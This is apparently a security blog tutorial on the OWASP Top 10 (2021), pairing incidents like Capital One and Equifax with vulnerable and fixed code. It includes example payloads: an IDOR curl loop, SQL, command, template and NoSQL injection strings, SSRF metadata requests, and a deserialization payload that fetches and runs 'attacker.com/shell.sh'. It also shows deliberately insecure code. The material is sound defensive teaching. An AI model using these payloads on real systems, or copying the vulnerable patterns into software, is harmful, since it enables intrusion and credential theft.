Skip to content
← pwnsy/blog
intermediate22 min readMar 4, 2026Updated Mar 11, 2026

OWASP Top 10 Explained with Examples

web-security#owasp#web-security#xss#sql-injection#vulnerabilities#appsec#pentesting

Key Takeaways

  • Broken access control claimed the top spot in 2021 after appearing in 94% of tested applications.
  • Previously named "Sensitive Data Exposure," this category was renamed in 2021 to emphasize the root cause rather than the symptom.
  • Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command.
  • Added in the 2021 list for the first time, Insecure Design addresses architectural security flaws that exist before any code is written.
  • Security misconfiguration is the broadest category — default credentials, open cloud storage buckets, enabled debug modes, verbose error messages, unnecessary HTTP methods, missing security headers, and default admin panels.
  • This category tracks the reality that your application is an iceberg — the code you wrote is the visible tip, and the vast majority is third-party libraries, frameworks, runtime environments, and OS packages.

The OWASP Top 10 is updated every few years based on data from hundreds of contributing organizations, covering tens of thousands of applications. The 2021 edition was a landmark: three entirely new categories were added, and the top position changed hands from Injection (which had held it for a decade) to Broken Access Control. That shift alone tells you something important about where the industry is failing.

This isn't a glossary. Every item gets attack payloads, vulnerable code, fixed code, and at least one real-world incident you can look up. Work through it systematically and you'll have a functional mental model for finding and fixing the vulnerabilities that actually matter in production systems.

A01: Broken Access Control

Broken access control claimed the top spot in 2021 after appearing in 94% of tested applications. It covers the entire failure space of authorization: vertical privilege escalation (low-privilege user accessing admin functions), horizontal privilege escalation (User A accessing User B's resources), missing function-level access control, and CORS misconfigurations.

The canonical example is an Insecure Direct Object Reference (IDOR): an API that trusts a user-supplied identifier without verifying whether the authenticated user is authorized to access the referenced resource.

Real Incident: Facebook (2021) — IDOR Leading to Account Takeover

In August 2021, security researcher Youssef Sammouda reported a critical IDOR in Facebook's account recovery flow that could be exploited to take over any Facebook account. The vulnerability was in a password reset endpoint that accepted a user-controlled target account ID. Facebook paid $130,000 for this report — their largest single bug bounty payout at the time. The root cause: authorization was checked at the start of the flow but not re-validated at subsequent steps.

Vulnerable Code

// GET /api/v2/invoices/:id
// VULNERABLE: only checks that the JWT is valid, not that the user owns the invoice
app.get('/api/v2/invoices/:id', authenticate, async (req, res) => {
  const invoice = await db.invoices.findOne({ id: req.params.id });
  if (!invoice) return res.status(404).json({ error: 'Not found' });
  return res.json(invoice); // returns any user's invoice to any authenticated user
});

An attacker authenticates as themselves, captures a valid JWT, then iterates the id parameter from 1 to 100,000 and reads every invoice in the system. No special tools required — just a for loop and curl.

# Simple IDOR enumeration
for i in $(seq 1 1000); do
  curl -s -H "Authorization: Bearer $JWT" https://target.com/api/v2/invoices/$i \
    | jq -r '. | select(.userId != null) | "\(.id) \(.userId) \(.amount)"'
done

Fixed Code

// SAFE: bind the query to the authenticated user's ID
app.get('/api/v2/invoices/:id', authenticate, async (req, res) => {
  const invoice = await db.invoices.findOne({
    id: req.params.id,
    userId: req.user.id, // if this row doesn't belong to req.user, findOne returns null
  });
  if (!invoice) return res.status(403).json({ error: 'Forbidden' });
  return res.json(invoice);
});

Function-Level Access Control

A subtler variant: API endpoints that should require admin access but only check for authentication, not authorization level.

// VULNERABLE: @authenticate checks JWT validity, not role
app.delete('/api/admin/users/:id', authenticate, async (req, res) => {
  await db.users.delete({ id: req.params.id });
  return res.json({ success: true });
});
 
// SAFE: check role after authentication
app.delete('/api/admin/users/:id', authenticate, requireRole('admin'), async (req, res) => {
  await db.users.delete({ id: req.params.id });
  return res.json({ success: true });
});
 
// requireRole middleware
function requireRole(role: string) {
  return (req: Request, res: Response, next: NextFunction) => {
    if (req.user.role !== role) {
      return res.status(403).json({ error: 'Insufficient permissions' });
    }
    next();
  };
}
Warning

Testing for IDOR requires manual analysis. Automated scanners don't understand your application's authorization model. The test is: authenticate as User A, capture a resource ID belonging to User B, make the request as User A. If you get User B's data, it's vulnerable.

Access Control Checklist

  • Deny access by default; explicitly grant permissions rather than explicitly denying them
  • Enforce access control server-side on every request, not just at login
  • Log access control violations and alert on anomalous patterns
  • Rate-limit API endpoints to slow down enumeration attacks
  • Use UUIDs instead of sequential integers for resource IDs (security through obscurity, not a fix — but raises the bar for enumeration)

A02: Cryptographic Failures

Previously named "Sensitive Data Exposure," this category was renamed in 2021 to emphasize the root cause rather than the symptom. The failures include: transmitting sensitive data over HTTP, storing passwords with fast hashing algorithms, using weak cipher suites, storing encryption keys alongside encrypted data, and missing or misconfigured TLS.

Real Incident: RockYou (2009) vs. LinkedIn (2012)

RockYou stored 32 million passwords in plaintext. When their database was breached in December 2009, attackers published the full list — which became the foundational wordlist used in password cracking for the next decade. The rockyou.txt file ships with Kali Linux.

LinkedIn's 2012 breach exposed 6.5 million SHA-1 hashed passwords — initially believed to be the scope of the breach. In 2016, it emerged that the actual count was 117 million passwords. SHA-1 without salt: LeakedSource cracked 90% of the hashes within 72 hours using a GPU cluster. LinkedIn faced a class-action lawsuit and paid $1.25 million to settle.

The 2013 Adobe breach: 153 million records, passwords encrypted with 3DES (not hashed, encrypted — meaning reversible) and all accounts using the same password had the same ciphertext. Users discovered their own and others' passwords by analyzing patterns in the encrypted values.

Vulnerable Password Storage

import hashlib
 
# VULNERABLE — MD5, fast, rainbow-table reversible
stored_hash = hashlib.md5(password.encode()).hexdigest()
 
# VULNERABLE — SHA-256, still fast, GPU-crackable
stored_hash = hashlib.sha256(password.encode()).hexdigest()
 
# VULNERABLE — unsalted bcrypt (bcrypt without per-user salt)
# Note: bcrypt generates its own salt, but using a FIXED salt is catastrophic
import bcrypt
FIXED_SALT = b'$2b$12$fixedsaltthatneverchan'  # DO NOT DO THIS
stored_hash = bcrypt.hashpw(password.encode(), FIXED_SALT)

Fixed Password Storage

import bcrypt
import argon2
 
# OPTION 1: bcrypt (work factor 12 minimum; each increment doubles compute time)
def hash_password_bcrypt(password: str) -> str:
    salt = bcrypt.gensalt(rounds=12)
    return bcrypt.hashpw(password.encode('utf-8'), salt).decode('utf-8')
 
def verify_password_bcrypt(password: str, hashed: str) -> bool:
    return bcrypt.checkpw(password.encode('utf-8'), hashed.encode('utf-8'))
 
# OPTION 2: Argon2id (preferred for new systems per NIST SP 800-63B)
from argon2 import PasswordHasher
ph = PasswordHasher(
    time_cost=2,        # iterations
    memory_cost=65536,  # 64MB RAM
    parallelism=2,
    hash_len=32,
    salt_len=16
)
 
def hash_password_argon2(password: str) -> str:
    return ph.hash(password)
 
def verify_password_argon2(password: str, hashed: str) -> bool:
    try:
        return ph.verify(hashed, password)
    except:
        return False

TLS Misconfiguration

# Check TLS configuration quality
nmap --script ssl-enum-ciphers -p 443 target.com
 
# Look for:
# - SSLv2, SSLv3 (broken, deprecated)
# - TLS 1.0, 1.1 (deprecated, disable)
# - RC4, DES, 3DES, EXPORT cipher suites
# - NULL cipher suites
# - Self-signed certificates on production
 
# testssl.sh is more comprehensive
./testssl.sh https://target.com

Encryption at Rest

// VULNERABLE: storing credit card numbers in plaintext
await db.query('INSERT INTO payments (user_id, card_number) VALUES ($1, $2)', [userId, cardNumber]);
 
// SAFE: tokenize with Stripe/Braintree — never store raw PANs
// The token references the card in the processor's vault
const paymentMethod = await stripe.paymentMethods.create({
  type: 'card',
  card: { number: cardNumber, exp_month: expMonth, exp_year: expYear, cvc },
});
await db.query('INSERT INTO payments (user_id, stripe_pm_id) VALUES ($1, $2)',
  [userId, paymentMethod.id]);
 
// SAFE: AES-256-GCM for data you need to decrypt later (not passwords)
import { createCipheriv, createDecipheriv, randomBytes } from 'crypto';
 
const ALGORITHM = 'aes-256-gcm';
const KEY = Buffer.from(process.env.ENCRYPTION_KEY!, 'hex'); // 32 bytes
 
function encrypt(plaintext: string): { iv: string; tag: string; data: string } {
  const iv = randomBytes(12);
  const cipher = createCipheriv(ALGORITHM, KEY, iv);
  const encrypted = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]);
  return {
    iv: iv.toString('hex'),
    tag: cipher.getAuthTag().toString('hex'),
    data: encrypted.toString('hex'),
  };
}
Tip

Never store encryption keys in the same database as the encrypted data. Use a secrets manager (AWS KMS, HashiCorp Vault, GCP Cloud KMS) where the key never leaves the managed service — you send data, it returns a ciphertext. Even a full database dump is useless without the key.


A03: Injection

Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command. SQL injection is the flagship, but the class includes OS command injection, LDAP injection, SSTI (Server-Side Template Injection), XPath injection, and NoSQL injection.

Real Incident: Heartland Payment Systems (2008)

The Heartland Payment Systems breach remains one of the most significant in financial history. Attackers used SQL injection to gain access to Heartland's payment processing systems, then installed sniffing malware that intercepted 130 million credit and debit card numbers in transit. Total cost: over $140 million in settlements, fines, and remediation. Heartland's CEO said in hindsight the SQL injection vulnerability "could have been caught by a junior developer" — the code was concatenating user input directly into queries.

SQL Injection — Vulnerable vs. Fixed

# VULNERABLE — classic string concatenation
def login(username: str, password: str):
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    return db.execute(query).fetchone()
 
# Payload: username = admin'--
# Resulting query: SELECT * FROM users WHERE username = 'admin'--' AND password = '...'
# The -- comments out the password check entirely
# SAFE — parameterized query
def login(username: str, password: str):
    query = "SELECT * FROM users WHERE username = %s AND password_hash = %s"
    hashed = hash_password(password)
    return db.execute(query, (username, hashed)).fetchone()

OS Command Injection

import subprocess
 
# VULNERABLE — shell=True with user input
def ping_host(hostname: str):
    result = subprocess.run(f"ping -c 4 {hostname}", shell=True, capture_output=True)
    return result.stdout.decode()
 
# Payload: hostname = "8.8.8.8; cat /etc/passwd"
# Executes: ping -c 4 8.8.8.8; cat /etc/passwd
 
# SAFE — pass as list, no shell expansion
def ping_host(hostname: str):
    import re
    if not re.match(r'^[a-zA-Z0-9._-]+$', hostname):
        raise ValueError("Invalid hostname")
    result = subprocess.run(["ping", "-c", "4", hostname], capture_output=True, timeout=10)
    return result.stdout.decode()

Server-Side Template Injection (SSTI)

SSTI is injection into a template engine — underestimated in severity, often leads to RCE.

from flask import Flask, render_template_string, request
 
app = Flask(__name__)
 
# VULNERABLE — user input directly in template string
@app.route('/greet')
def greet():
    name = request.args.get('name', 'World')
    return render_template_string(f"Hello {{{{ {name} }}}}!")
 
# Payload: name={{7*7}} → renders "Hello 49!"
# Payload: name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# → executes arbitrary OS commands
 
# SAFE — treat user input as data, never template code
@app.route('/greet')
def greet():
    name = request.args.get('name', 'World')
    return render_template_string("Hello {{ name }}!", name=name)

NoSQL Injection (MongoDB)

// VULNERABLE — user input directly in query object
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  const user = await db.collection('users').findOne({ username, password });
  // Payload: password = { "$gt": "" }
  // MongoDB query becomes: { username: "admin", password: { "$gt": "" } }
  // "$gt": "" matches any non-empty string — authentication bypass
  if (user) res.json({ token: generateToken(user) });
  else res.status(401).json({ error: 'Invalid credentials' });
});
 
// SAFE — validate that input is a string, not an object
import { z } from 'zod';
 
const loginSchema = z.object({
  username: z.string().min(1).max(50),
  password: z.string().min(1).max(128),
});
 
app.post('/login', async (req, res) => {
  const parsed = loginSchema.safeParse(req.body);
  if (!parsed.success) return res.status(400).json({ error: 'Invalid input' });
 
  const { username, password } = parsed.data;
  const user = await db.collection('users').findOne({ username });
  if (!user || !verifyPassword(password, user.passwordHash)) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  res.json({ token: generateToken(user) });
});

A04: Insecure Design

Added in the 2021 list for the first time, Insecure Design addresses architectural security flaws that exist before any code is written. The distinction from other categories: these aren't implementation bugs, they're design decisions that make secure implementation impossible without rethinking the architecture.

Real Incident: Instagram Account Takeover via PIN Enumeration (2019)

In 2019, researcher Laxman Muthiyah found that Instagram's mobile account recovery sent a 6-digit PIN via SMS. Instagram had implemented rate limiting on the web interface, but the mobile API had no such restriction. By distributing requests across multiple IP addresses, Muthiyah demonstrated he could enumerate all 1,000,000 possible 6-digit combinations in about 1,000 parallel requests per IP across a sufficient IP pool. The design flaw: a 6-digit numeric PIN has only 1 million possible values — trivially enumerable. Instagram paid $30,000 for this report.

Insecure Password Reset Design

// VULNERABLE DESIGN: 6-digit numeric token, no rate limiting, long expiry
async function initiatePasswordReset(email: string) {
  const token = Math.floor(100000 + Math.random() * 900000).toString(); // 6-digit numeric
  await db.passwordResets.create({
    email,
    token,
    expiresAt: new Date(Date.now() + 24 * 60 * 60 * 1000), // 24 hours — too long
  });
  await sendEmail(email, `Your reset code is: ${token}`);
}
 
// No rate limiting on the verification endpoint — attackers can enumerate 1M codes
app.post('/reset/verify', async (req, res) => {
  const { email, token } = req.body;
  const reset = await db.passwordResets.findOne({ email, token });
  if (reset && reset.expiresAt > new Date()) {
    // allow password reset
  }
});
// SECURE DESIGN: cryptographically random URL token, short expiry, single-use, rate limited
import { randomBytes } from 'crypto';
import rateLimit from 'express-rate-limit';
 
const resetRateLimit = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 3, // 3 attempts per IP per 15 minutes
  message: 'Too many reset attempts',
});
 
async function initiatePasswordReset(email: string) {
  const token = randomBytes(32).toString('hex'); // 256 bits of entropy
  const tokenHash = createHash('sha256').update(token).digest('hex'); // store hash, not raw token
 
  await db.passwordResets.upsert({
    email,
    tokenHash,
    expiresAt: new Date(Date.now() + 15 * 60 * 1000), // 15 minutes
    used: false,
  });
 
  // Send full token in URL — only works once, expires in 15 min
  await sendEmail(email, `Reset link: https://app.com/reset?token=${token}`);
}
 
app.post('/reset/complete', resetRateLimit, async (req, res) => {
  const { token, newPassword } = req.body;
  const tokenHash = createHash('sha256').update(token).digest('hex');
  const reset = await db.passwordResets.findOne({ tokenHash, used: false });
 
  if (!reset || reset.expiresAt < new Date()) {
    return res.status(400).json({ error: 'Invalid or expired token' });
  }
 
  // Mark token used before changing password (prevents race conditions)
  await db.passwordResets.update({ tokenHash }, { used: true });
  await db.users.updatePassword(reset.email, await hashPassword(newPassword));
});
Note

Threat modeling is the tool for catching insecure design before code is written. STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) applied to each component in a data flow diagram surfaces the design-level security requirements before implementation begins.


A05: Security Misconfiguration

Security misconfiguration is the broadest category — default credentials, open cloud storage buckets, enabled debug modes, verbose error messages, unnecessary HTTP methods, missing security headers, and default admin panels. It's also the most reliably found by automated scanning.

Real Incident: Capital One (2019)

The Capital One breach of July 2019 exposed over 100 million credit card applications. The attacker, a former AWS employee, exploited a misconfigured WAF on a Capital One EC2 instance to trigger Server-Side Request Forgery (SSRF) against the AWS EC2 metadata service at 169.254.169.254. The SSRF returned temporary IAM credentials for the instance's role. That role had overly broad S3 read permissions. The attacker exfiltrated 106 million records. Capital One paid $190 million in settlement and $80 million in regulatory fines. The misconfiguration: an EC2 instance that could reach the metadata service, combined with IAM permissions that were far broader than necessary.

Common Misconfigurations to Find/Fix

# Check for exposed admin panels and default paths
nuclei -u https://target.com -t ~/nuclei-templates/exposed-panels/ \
  -t ~/nuclei-templates/default-credentials/ \
  -t ~/nuclei-templates/misconfiguration/
 
# Check for open S3 buckets (from target's perspective during pentest)
aws s3 ls s3://target-company-backup --no-sign-request
aws s3 ls s3://target-company-logs --no-sign-request
 
# Check HTTP methods enabled on web server
curl -X OPTIONS https://target.com -v 2>&1 | grep "Allow:"
# DELETE, PUT, TRACE enabled = misconfiguration
 
# Check for directory listing
curl https://target.com/backup/
curl https://target.com/.git/
 
# Check for exposed .env files
curl https://target.com/.env
curl https://target.com/.env.local

Security Headers Audit

# Check security headers
curl -I https://target.com | grep -E "(X-Frame|X-Content|Content-Security|Strict-Transport|Referrer)"
 
# Full security header audit
securityheaders.com  # web UI
# Nginx — complete security header configuration
server {
    # Strict Transport Security: force HTTPS for 2 years, include subdomains
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
 
    # Prevent clickjacking
    add_header X-Frame-Options "DENY" always;
 
    # Prevent MIME sniffing
    add_header X-Content-Type-Options "nosniff" always;
 
    # Referrer policy
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
 
    # Permissions policy (formerly Feature-Policy)
    add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
 
    # Content Security Policy — start in report-only mode during rollout
    add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'none';" always;
 
    # Disable server version disclosure
    server_tokens off;
}

Django Production Checklist

# settings.py — critical production settings
DEBUG = False  # NEVER True in production — leaks stack traces, env vars, SQL queries
ALLOWED_HOSTS = ['app.example.com']  # Not ['*']
 
SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY')  # Not hardcoded in source
 
# Cookie security
SESSION_COOKIE_SECURE = True     # Only send over HTTPS
SESSION_COOKIE_HTTPONLY = True   # Not accessible to JavaScript
SESSION_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_SECURE = True
 
# HTTPS enforcement
SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 63072000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
 
# Content type sniffing
SECURE_CONTENT_TYPE_NOSNIFF = True

A06: Vulnerable and Outdated Components

This category tracks the reality that your application is an iceberg — the code you wrote is the visible tip, and the vast majority is third-party libraries, frameworks, runtime environments, and OS packages. Every dependency you add is code you didn't write and probably haven't read. When those components have known CVEs, you inherit the vulnerability.

Real Incident: Equifax (2017)

The Equifax breach of September 2017 exposed the personal data of 147 million Americans — names, Social Security numbers, birth dates, addresses, and credit card numbers. The entry point: Apache Struts CVE-2017-5638, a critical RCE vulnerability in the Jakarta Multipart parser. Apache published a patch on March 6, 2017. Equifax was notified of the vulnerability by US-CERT on March 8. The breach began on May 13, 2017 — 66 days after the patch was publicly available. Equifax paid $700 million in settlement. The entirely avoidable root cause: a known, patched vulnerability left unpatched for over two months on an internet-facing system.

Dependency Auditing

# Node.js — built-in audit
npm audit
npm audit --audit-level=high  # fail CI on high+ severity
npm audit fix                  # auto-fix where possible
npm audit fix --force          # includes breaking changes (review carefully)
 
# Snyk — deeper analysis with license and code scanning
npx snyk test
npx snyk monitor  # continuous monitoring
 
# Python
pip-audit
pip-audit --requirement requirements.txt
 
# Go
govulncheck ./...
 
# Java / Maven
mvn dependency-check:check
 
# Docker image scanning
trivy image myapp:latest
grype myapp:latest

Renovate / Dependabot for Automatic PRs

# .github/dependabot.yml — automated dependency updates
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    groups:
      development-dependencies:
        dependency-type: "development"
 
  - package-ecosystem: "docker"
    directory: "/"
    schedule:
      interval: "weekly"

SBOM Generation

# Generate a Software Bill of Materials
# CycloneDX format (widely supported)
cyclonedx-npm --output-file sbom.json
 
# SPDX format
syft myapp:latest -o spdx-json > sbom.spdx.json
 
# Check SBOM against vulnerability databases
grype sbom:sbom.spdx.json
Warning

npm audit and similar tools only catch vulnerabilities in your direct and transitive dependencies if there's a CVE published against them. Supply chain attacks (malicious packages with no CVE) require different controls: verify package integrity with lockfiles, enable 2FA on npm/PyPI accounts, and monitor for typosquatting against your frequently-used packages.


A07: Identification and Authentication Failures

This category covers the full failure space of proving identity: accepting weak passwords, not rate-limiting login attempts, using insecure session tokens, failing to invalidate sessions after password change, and not supporting MFA.

Real Incident: Dropbox (2012) — Credential Stuffing at Scale

Dropbox's 2012 breach wasn't discovered until 2016 when 68 million password hashes appeared on the dark web. The entry point: a Dropbox employee's password had been included in the LinkedIn breach. The attacker used that credential to log into the employee's Dropbox account. That account had access to a document containing Dropbox customer email addresses, which were then targeted in a spear-phishing campaign. Bcrypt hashes in the dump are still largely uncracked. SHA-1 hashes in the same dump: majority cracked within days of publication.

Rate Limiting and Account Lockout

import rateLimit from 'express-rate-limit';
import slowDown from 'express-slow-down';
 
// Rate limit: 5 attempts per 15 minutes per IP
const loginRateLimit = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  skipSuccessfulRequests: true, // only count failures
  handler: (req, res) => {
    res.status(429).json({
      error: 'Too many login attempts. Try again in 15 minutes.',
    });
  },
});
 
// Speed limiter: progressive slowdown before hard block
const loginSlowDown = slowDown({
  windowMs: 15 * 60 * 1000,
  delayAfter: 2,           // no delay for first 2 requests
  delayMs: 500,            // add 500ms per attempt after that
  maxDelayMs: 10000,       // max 10 second delay
});
 
app.post('/auth/login', loginSlowDown, loginRateLimit, async (req, res) => {
  const { email, password } = loginSchema.parse(req.body);
 
  // Constant-time response to prevent user enumeration
  const user = await db.users.findOne({ email });
  const valid = user ? await bcrypt.compare(password, user.passwordHash) : false;
 
  // Always run bcrypt.compare even for non-existent users
  // to prevent timing-based user enumeration
  if (!valid) {
    await logFailedAttempt(email, req.ip);
    return res.status(401).json({ error: 'Invalid email or password' });
  }
 
  await logSuccessfulLogin(user.id, req.ip);
  const token = generateSessionToken();
  await createSession(user.id, token, req.ip);
 
  res.cookie('session', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
    maxAge: 60 * 60 * 1000, // 1 hour
  });
 
  return res.json({ success: true });
});

TOTP-Based MFA Implementation

import * as OTPAuth from 'otpauth';
import QRCode from 'qrcode';
 
// Generate TOTP secret for user enrollment
async function enrollMFA(userId: string) {
  const secret = new OTPAuth.Secret({ size: 20 });
 
  const totp = new OTPAuth.TOTP({
    issuer: 'YourApp',
    label: userEmail,
    algorithm: 'SHA1',
    digits: 6,
    period: 30,
    secret,
  });
 
  const otpauthUrl = totp.toString();
  const qrCodeDataUrl = await QRCode.toDataURL(otpauthUrl);
 
  // Store encrypted secret — never plaintext
  await db.users.update(userId, {
    totpSecret: encrypt(secret.base32),
    totpEnabled: false, // enable only after successful verification
  });
 
  return { qrCode: qrCodeDataUrl, secret: secret.base32 };
}
 
// Verify TOTP token during login
async function verifyMFA(userId: string, token: string): Promise<boolean> {
  const user = await db.users.findOne({ id: userId });
  const secret = decrypt(user.totpSecret);
 
  const totp = new OTPAuth.TOTP({ secret: OTPAuth.Secret.fromBase32(secret) });
 
  // window: 1 allows for ±30 seconds of clock drift
  const delta = totp.validate({ token, window: 1 });
  return delta !== null;
}

A08: Software and Data Integrity Failures

New in the 2021 edition, this category covers CI/CD pipeline attacks, insecure deserialization, and the use of unsigned or unverified software components. The SolarWinds supply chain attack made this category concrete in a way that no previous list item had.

Real Incident: SolarWinds Orion (2020)

In December 2020, FireEye discovered that SolarWinds Orion — IT monitoring software used by 33,000 organizations including 425 of the Fortune 500, all major US government agencies, and most major telcos — had been backdoored. The attackers (later attributed to Russia's SVR, tracked as APT29/Cozy Bear) compromised SolarWinds' build pipeline and injected malicious code into the Orion software update, which was then cryptographically signed by SolarWinds and distributed to customers. The backdoor was active for at least 8 months before discovery. Affected organizations: US Treasury, Commerce Department, State Department, DHS, NSC, and approximately 18,000 others who installed the trojanized update. Remediation costs across all affected organizations: estimated $100 billion.

Insecure Deserialization

// VULNERABLE — node-serialize IIFE exploit
const serialize = require('node-serialize');
 
app.post('/profile', (req, res) => {
  // User-supplied cookie value deserialized directly
  const userObj = serialize.unserialize(req.cookies.profile);
  // If profile = {"user":"_$$ND_FUNC$$_function(){require('child_process').exec('curl attacker.com/shell.sh|bash')}()"}
  // The IIFE executes during deserialization — RCE
  res.json(userObj);
});
 
// SAFE — use JSON.parse with schema validation instead of unsafe deserializers
const profileSchema = z.object({
  userId: z.string().uuid(),
  preferences: z.object({ theme: z.enum(['light', 'dark']) }).optional(),
});
 
app.post('/profile', (req, res) => {
  const raw = JSON.parse(req.cookies.profile); // JSON.parse doesn't execute code
  const profile = profileSchema.parse(raw);    // validate structure and types
  res.json(profile);
});

Subresource Integrity

<!-- VULNERABLE — third-party script with no integrity check -->
<!-- If the CDN is compromised, attackers inject malicious code into the file -->
<script src="https://cdn.example.com/jquery-3.6.0.min.js"></script>
 
<!-- SAFE — SRI hash locks the file to a specific known-good version -->
<script
  src="https://cdn.example.com/jquery-3.6.0.min.js"
  integrity="sha384-vtXRMe3mGCbOeY7l30aIg8H9p3GdeSe4IFlP6G8JMa7o7lXvnz3GFKzPxzJdPfGK"
  crossorigin="anonymous">
</script>
 
<!-- Generate the SRI hash for a file -->
# Generate SRI hash
curl -s https://cdn.example.com/lib.js | openssl dgst -sha384 -binary | openssl base64 -A
# Output: sha384-<hash> — use this as the integrity value

A09: Security Logging and Monitoring Failures

The OWASP Top 10 notes that the average time to detect a breach is over 200 days. That's not because breaches are subtle — most involve recognizable patterns like repeated authentication failures, unusual database queries, or data exfiltration. It's because logging is either absent, too noisy to act on, or not reviewed.

What to Log

// Authentication events
logger.info('auth.login.success', {
  userId: user.id,
  ip: req.ip,
  userAgent: req.headers['user-agent'],
  timestamp: new Date().toISOString(),
  // Never log: password, session token, PII beyond userId
});
 
logger.warn('auth.login.failure', {
  email: sanitizeForLog(email), // hash or truncate if PII
  ip: req.ip,
  userAgent: req.headers['user-agent'],
  reason: 'invalid_credentials', // not 'user_not_found' — prevents user enumeration in logs
  timestamp: new Date().toISOString(),
});
 
// Access control violations
logger.error('authz.violation', {
  userId: req.user?.id,
  attemptedResource: req.path,
  attemptedMethod: req.method,
  ip: req.ip,
  timestamp: new Date().toISOString(),
});
 
// Input validation failures — these can indicate active attack
logger.warn('validation.failure', {
  field: 'username',
  ip: req.ip,
  reason: 'invalid_format',
  timestamp: new Date().toISOString(),
  // Don't log the actual malicious input — could be used for log injection
});

Detection Rules in Structured Logs

# Splunk SPL — detect brute force
index=app_logs source="auth.login.failure"
| stats count by ip, _time span=15m
| where count > 10
| alert action=email
 
# Splunk SPL — detect credential stuffing (many users, one IP)
index=app_logs source="auth.login.failure"
| stats dc(email) as unique_accounts, count by ip
| where unique_accounts > 20 AND count > 50
| table ip, unique_accounts, count
 
# Splunk SPL — detect impossible travel
index=app_logs source="auth.login.success"
| stats earliest(_time) as first_login, latest(_time) as last_login,
    values(geo_country) as countries, dc(geo_country) as country_count
    by userId
| where country_count > 1 AND (last_login - first_login) < 3600
Warning

Never log raw passwords, session tokens, credit card numbers, or full Social Security numbers. Logs are often stored with weaker access controls than your production database, and log aggregation pipelines frequently traverse multiple systems. A single logged password can compromise an account permanently if the user reuses credentials.


A10: Server-Side Request Forgery (SSRF)

SSRF moved onto the 2021 list for the first time, driven by the widespread adoption of cloud architectures where the metadata service at 169.254.169.254 (AWS, Azure, GCP) is reachable from any EC2/VM instance. SSRF exploits the server's ability to make outbound requests — an attacker tricks the server into fetching URLs the attacker specifies, reaching internal services, cloud metadata endpoints, or other back-end infrastructure not exposed to the public internet.

Real Incident: Capital One (2019) — Revisited as SSRF

The same 2019 Capital One breach described under A05 was triggered via SSRF. The vulnerability: a misconfigured WAF allowed HTTP requests with a Host header pointing to 169.254.169.254. The WAF forwarded these requests to the EC2 metadata service and relayed the response. The attacker retrieved temporary IAM credentials with:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/

The response contained the IAM role name. A second request to http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> returned:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-07-19T18:38:44Z"
}

With those credentials, the attacker listed and downloaded 100 million S3 records.

SSRF in Webhook Endpoints

// VULNERABLE — no validation of user-supplied URL
app.post('/api/webhooks', authenticate, async (req, res) => {
  const { url, events } = req.body;
  await db.webhooks.create({ userId: req.user.id, url, events });
 
  // When an event fires, the server fetches this URL
  // Attacker sets url = "http://169.254.169.254/latest/meta-data/"
  // or url = "http://internal-admin.company.internal/admin/users"
  // or url = "file:///etc/passwd" (if fetch supports file: scheme)
});
import { URL } from 'url';
import dns from 'dns/promises';
 
// SAFE — SSRF prevention with allowlist and internal IP blocking
async function isSafeWebhookUrl(input: string): Promise<boolean> {
  let parsed: URL;
  try {
    parsed = new URL(input);
  } catch {
    return false;
  }
 
  // Only allow HTTPS
  if (parsed.protocol !== 'https:') return false;
 
  // Block non-standard ports
  const port = parseInt(parsed.port || '443');
  if (![443, 8443].includes(port)) return false;
 
  // Resolve hostname and check resolved IPs
  let addresses: string[];
  try {
    addresses = (await dns.resolve4(parsed.hostname))
      .concat(await dns.resolve6(parsed.hostname).catch(() => []));
  } catch {
    return false;
  }
 
  const privateRanges = [
    /^127\./,
    /^10\./,
    /^172\.(1[6-9]|2[0-9]|3[0-1])\./,
    /^192\.168\./,
    /^169\.254\./, // link-local / AWS metadata
    /^::1$/,       // IPv6 loopback
    /^fc00:/,      // IPv6 unique local
    /^fe80:/,      // IPv6 link-local
  ];
 
  for (const addr of addresses) {
    if (privateRanges.some(r => r.test(addr))) return false;
  }
 
  return true;
}
 
app.post('/api/webhooks', authenticate, async (req, res) => {
  const { url, events } = req.body;
 
  if (!await isSafeWebhookUrl(url)) {
    return res.status(400).json({ error: 'URL not permitted' });
  }
 
  await db.webhooks.create({ userId: req.user.id, url, events });
  return res.json({ success: true });
});
Tip

DNS rebinding attacks can bypass hostname-based SSRF filters: resolve the hostname before making the request, and re-verify that the resolved IP hasn't changed between validation and the actual fetch. Even better: use an egress proxy or a dedicated outbound HTTP client that enforces connection-level blocking of RFC 1918 addresses, so the protection operates at the network layer rather than the application layer.


Applying the OWASP Top 10 in Practice

For Developers

Run through this checklist for every feature that touches user data or external input:

